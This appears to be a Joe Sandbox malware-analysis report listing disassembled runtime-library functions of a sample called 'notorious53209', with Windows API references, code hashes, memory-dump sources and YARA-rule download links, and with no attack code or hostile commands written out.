API ID: __lock_file_memset
String ID:
API String ID: 26237723-0
Opcode ID: f710b64e88e6c74b73e5845849048f0eb96a46d8d71dd73782c93a4739c72ae5
Instruction ID: 4bc76631412d55558366466ac6cef7ce2ff14c2e4ddf69c8a9bacf6c65455c8b
Opcode Fuzzy Hash: f710b64e88e6c74b73e5845849048f0eb96a46d8d71dd73782c93a4739c72ae5
Instruction Fuzzy Hash: DC01D431820619EBCF12AF698C0A99F7B61AF40362F144215BC146B1A1DB718A75DF99

Function 002555D6 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00258D68: __getptd_noexit.LIBCMT ref: 00258D68

__lock_file.LIBCMT ref: 0025561B

Part of subcall function 00256E4E: __lock.LIBCMT ref: 00256E71

__fclose_nolock.LIBCMT ref: 00255626

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: ce9a57561fcae6f62064aa74a33754842e55545794e325289dcd0a5cf51dca8c
Instruction ID: c53465f0691ffa2f04182bfec9d83bcbfc0ee21e0b21ac0bdb81f6a62a3e9ad3
Opcode Fuzzy Hash: ce9a57561fcae6f62064aa74a33754842e55545794e325289dcd0a5cf51dca8c
Instruction Fuzzy Hash: 6AF0F631831A519AD7216F35880276E76E51F00336FA44105AC10AB0D1CFBC89298F4D

Function 0025A06B Relevance: 3.0, APIs: 2, Instructions: 18COMMONLIBRARYCODE

Download Yara Rule

APIs

InitializeCriticalSectionEx.KERNELBASE(00000000,002EF6A8,00259C4E,?,00259F4B,00000000,00000FA0,00000000,002EBE28,00000008,00259E62,00000000,00000000,?,00259CBC,0000000D), ref: 0025A084
InitializeCriticalSectionAndSpinCount.KERNEL32(00000000,002EF6A8,?,00259F4B,00000000,00000FA0,00000000,002EBE28,00000008,00259E62,00000000,00000000,?,00259CBC,0000000D), ref: 0025A08E

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: CriticalInitializeSection$CountSpin
String ID:
API String ID: 4156364057-0
Opcode ID: 1b2dd7d64036e1c1d1636f7e80788fca3f5c6288695bc5ddfdddb5a3f50a14d3
Instruction ID: 6b5085dec9ba0bacb271826ba8f2cde2b3ba46ecedeeb2d2a871f9245bd6e534
Opcode Fuzzy Hash: 1b2dd7d64036e1c1d1636f7e80788fca3f5c6288695bc5ddfdddb5a3f50a14d3
Instruction Fuzzy Hash: 3FD0673206454DFFCF429F94FC498A93FAAFB48765B448560F91C89030D732A565AB44

Function 002381C1 Relevance: 2.6, APIs: 2, Instructions: 54COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,00000001,00000000,00000000,?,?,?,0023558F,?,?,?,?,?), ref: 002381DA
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,00000001,00000000,?,?,?,0023558F,?,?,?,?,?), ref: 0023820D

Part of subcall function 002378AD: _memmove.LIBCMT ref: 002378E9

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: ByteCharMultiWide$_memmove
String ID:
API String ID: 3033907384-0
Opcode ID: ceaf0264697a68987a608a17aa70389daa887a93076bbe62c7654ad616a2c4c4
Instruction ID: 8f6f9a2173a98bd3b499fce7724fc3210587050ece7be8f720307813c28d6a2b
Opcode Fuzzy Hash: ceaf0264697a68987a608a17aa70389daa887a93076bbe62c7654ad616a2c4c4
Instruction Fuzzy Hash: C501ADB1221214BFEB246A25ED4AF7B3B6CEB89760F10852AFD05DD190DE30A8109A71

Function 0023F3F0 Relevance: 1.7, APIs: 1, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cf1935af4e8c9c4671a02ccd86600c120c6fc9575794068396dc2abd2175d86
Instruction ID: b0d8aaccd955673addf314e025faed8069a1591ab50dfe725eae74738121895c
Opcode Fuzzy Hash: 1cf1935af4e8c9c4671a02ccd86600c120c6fc9575794068396dc2abd2175d86
Instruction Fuzzy Hash: 8D61AEB0A2020A9FDB54EF64DA81B6BB7F5EF05300F54817DEA0A9B241E770ED61CB51

Function 00242123 Relevance: 1.7, APIs: 1, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 856e575772861ea50c216d021f4ec0a67ef684e9ec7b6dfa2c7957538f2d59ec
Instruction ID: 5e9dc046f99403b800dbe6b8edc9a9510fbabf54f80418e53d57828c467c0915
Opcode Fuzzy Hash: 856e575772861ea50c216d021f4ec0a67ef684e9ec7b6dfa2c7957538f2d59ec
Instruction Fuzzy Hash: B2519075620614EFCF18EF68C995F6E77A6AF45710F148068F90AAB382CB30ED24CB55

Function 00235C4E Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,00000001,00000000,00000000), ref: 00235CF6

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 3fb479450b55c016deac220ea1ef14a4ccc87e72324a0715d3fd25863fda2de4
Instruction ID: 25206279cb07d3fdc8316dabad907513d7ab2cba461fa846dfffd6a2464a0985
Opcode Fuzzy Hash: 3fb479450b55c016deac220ea1ef14a4ccc87e72324a0715d3fd25863fda2de4
Instruction Fuzzy Hash: 3D314DB1A20B2AAFCB18DF2DC48465DB7B5FF48314F14862AE81993710D771BD60DB90

Function 002700D6 Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 002700E1

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 9b01eb164de1e6ea89ea468cfda72bafd80232615f8c3f8da821ddea12dc631c
Instruction ID: 2d167e1f7573fcb55d4dd81278d2d3db6dd3e3cb2c12ceac065529f7e6808fd4
Opcode Fuzzy Hash: 9b01eb164de1e6ea89ea468cfda72bafd80232615f8c3f8da821ddea12dc631c
Instruction Fuzzy Hash: 844107B4514351CFDB25DF14C484B1ABBE0BF45318F1988ACE9894B362C372E8A9CF56

Function 00235B19 Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00235B61

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 062aeff277cbc39b2ac4ce263f6cfc9fb00f058064c59d278b7d3348f12efc5e
Instruction ID: e5f08cd3071ad090bc0c6f5af5aef91834f0bf2522cbb7f44bcbec58587f5ab2
Opcode Fuzzy Hash: 062aeff277cbc39b2ac4ce263f6cfc9fb00f058064c59d278b7d3348f12efc5e
Instruction Fuzzy Hash: 97212770A30A18EBDF105F11F88876A7FB9FF10390F228469E889D5510EB7084F0DB45

Function 00234F3D Relevance: 1.6, APIs: 1, Instructions: 64libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00234D13: FreeLibrary.KERNEL32(00000000,?), ref: 00234D4D

Part of subcall function 0025548B: __wfsopen.LIBCMT ref: 00255496

LoadLibraryExW.KERNELBASE(?,00000000,00000002,?,002F62F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00234F6F

Part of subcall function 00234CC8: FreeLibrary.KERNEL32(00000000), ref: 00234D02

Part of subcall function 00234DD0: _memmove.LIBCMT ref: 00234E1A

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Library$Free$Load__wfsopen_memmove
String ID:
API String ID: 1396898556-0
Opcode ID: 97086671bbf42f8a02c375166fdb39cce550ed9d879441e22505dd665510cf03
Instruction ID: 42ce5987e7ab4aaf928683469f2b3cb39b05339e0424e4652cb1af74e6168b0e
Opcode Fuzzy Hash: 97086671bbf42f8a02c375166fdb39cce550ed9d879441e22505dd665510cf03
Instruction Fuzzy Hash: 5B112772630209AACB14BF70DC02BAE77A49F44710F10846AF941A61D1DA71AA359FA0

Function 002701AF Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 002701BB

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 48a6b3285cbe1c1cd8d876511d4c8c464998e45e7b5d15d5e10fdffafd56141f
Instruction ID: f12dceab9ba19975e3f31ba812abcafbf3d800702dd2dbfd68b41e3becb3e2ca
Opcode Fuzzy Hash: 48a6b3285cbe1c1cd8d876511d4c8c464998e45e7b5d15d5e10fdffafd56141f
Instruction Fuzzy Hash: D22124B4628351CFCB24DF54C485B1ABBE0BF88314F05896CE98A57762D731E869CF52

Function 00235D20 Relevance: 1.6, APIs: 1, Instructions: 53fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,?,00010000,?,00000000), ref: 00235D76

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: b3f7be9805a3dea8411f2896fde739f9be9b49465e4ce22debff9f8839b5da11
Instruction ID: 64c6a14e9434a49d9b55cf49f3c5cc2dcedf8fb2aab7a2887ab7c19487aa0773
Opcode Fuzzy Hash: b3f7be9805a3dea8411f2896fde739f9be9b49465e4ce22debff9f8839b5da11
Instruction Fuzzy Hash: 96113AB1210B199FD3308F15C888B62B7E9EF45750F10C92EE4AE86A50D7B0E955CF60

Function 00235BDA Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0026E141

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: f81bb0d9c40211a16c2ddc2fba480c37069f24b1f4b1b952f0fc00164d3fb58f
Instruction ID: c34b9fd219a07e69edd6ad46ec8a8c3da935a5a68bda4022f8096ce512c770c5
Opcode Fuzzy Hash: f81bb0d9c40211a16c2ddc2fba480c37069f24b1f4b1b952f0fc00164d3fb58f
Instruction Fuzzy Hash: D8018FB9610542AFC305EB29C841D2AFBAAFF8A3147148159F819C7742DB30EC31CBE0

Function 00254A93 Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 00254AD6

Part of subcall function 00258D68: __getptd_noexit.LIBCMT ref: 00258D68

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: __getptd_noexit__lock_file
String ID:
API String ID: 2597487223-0
Opcode ID: 74a85e95c057c50a0983824330d01ae02f5f6ca412fc9c517fc2ca4360dbe842
Instruction ID: e222886f5c7d180740c2ef294e3c342d7edfc6e62473f938e610d1996ede0b5d
Opcode Fuzzy Hash: 74a85e95c057c50a0983824330d01ae02f5f6ca412fc9c517fc2ca4360dbe842
Instruction Fuzzy Hash: 75F0A4319602099BDF91BF758C0679FB6A5AF0032FF444514BC14AA1D1CBB88AB8DF59

Function 00234FAA Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,002F62F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00234FDE

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: d0c20f82122ce395bdaf029613e9fe3130e5c9f82cecb63bcf5d01372747b672
Instruction ID: 0fc9587231b1cb832f0e64639c6e89c03227fa957b1663fb1dfadb192d5618e9
Opcode Fuzzy Hash: d0c20f82122ce395bdaf029613e9fe3130e5c9f82cecb63bcf5d01372747b672
Instruction Fuzzy Hash: 9CF030B1125712CFC734AF64E494812BBE1BF053297288ABEE5D682A10C771A964DF40

Function 002509D5 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 002509F4

Part of subcall function 00237D2C: _memmove.LIBCMT ref: 00237D66

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: LongNamePath_memmove
String ID:
API String ID: 2514874351-0
Opcode ID: 5eec53174c28da2eb3cbbf17a56de3057e375cc4c5179256d75b02b187a45b67
Instruction ID: 0257ba9f31bad0856956622f9c6134be5c14ee5a12ca4526a3fc9efb7aa78fe7
Opcode Fuzzy Hash: 5eec53174c28da2eb3cbbf17a56de3057e375cc4c5179256d75b02b187a45b67
Instruction Fuzzy Hash: 40E0CD7691422C57C720D6689C05FFA77EDDF89790F0401B6FC0CD7308D961AC918A90

Function 00299129 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 0029914B

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 7603a7e23398706fbe611478ecf9e3358d47b441acc83f726054c373298f7434
Instruction ID: 44f17082dd88ee2982e6a732e0de3fa94d5787566321e5840231864498a590d7
Opcode Fuzzy Hash: 7603a7e23398706fbe611478ecf9e3358d47b441acc83f726054c373298f7434
Instruction Fuzzy Hash: 3BE092B0114B015FDB348E28D8157E373E0BB06315F00081CF69A83341EB6278918B59

Function 00252E84 Relevance: 1.5, APIs: 1, Instructions: 16COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00253457: __lock.LIBCMT ref: 00253459

__onexit_nolock.LIBCMT ref: 00252EA0

Part of subcall function 00252EC8: RtlDecodePointer.NTDLL(?), ref: 00252EDB
Part of subcall function 00252EC8: RtlDecodePointer.NTDLL ref: 00252EE6
Part of subcall function 00252EC8: __realloc_crt.LIBCMT ref: 00252F27
Part of subcall function 00252EC8: __realloc_crt.LIBCMT ref: 00252F3B
Part of subcall function 00252EC8: RtlEncodePointer.NTDLL(00000000), ref: 00252F4D
Part of subcall function 00252EC8: RtlEncodePointer.NTDLL(0026B80A), ref: 00252F5B
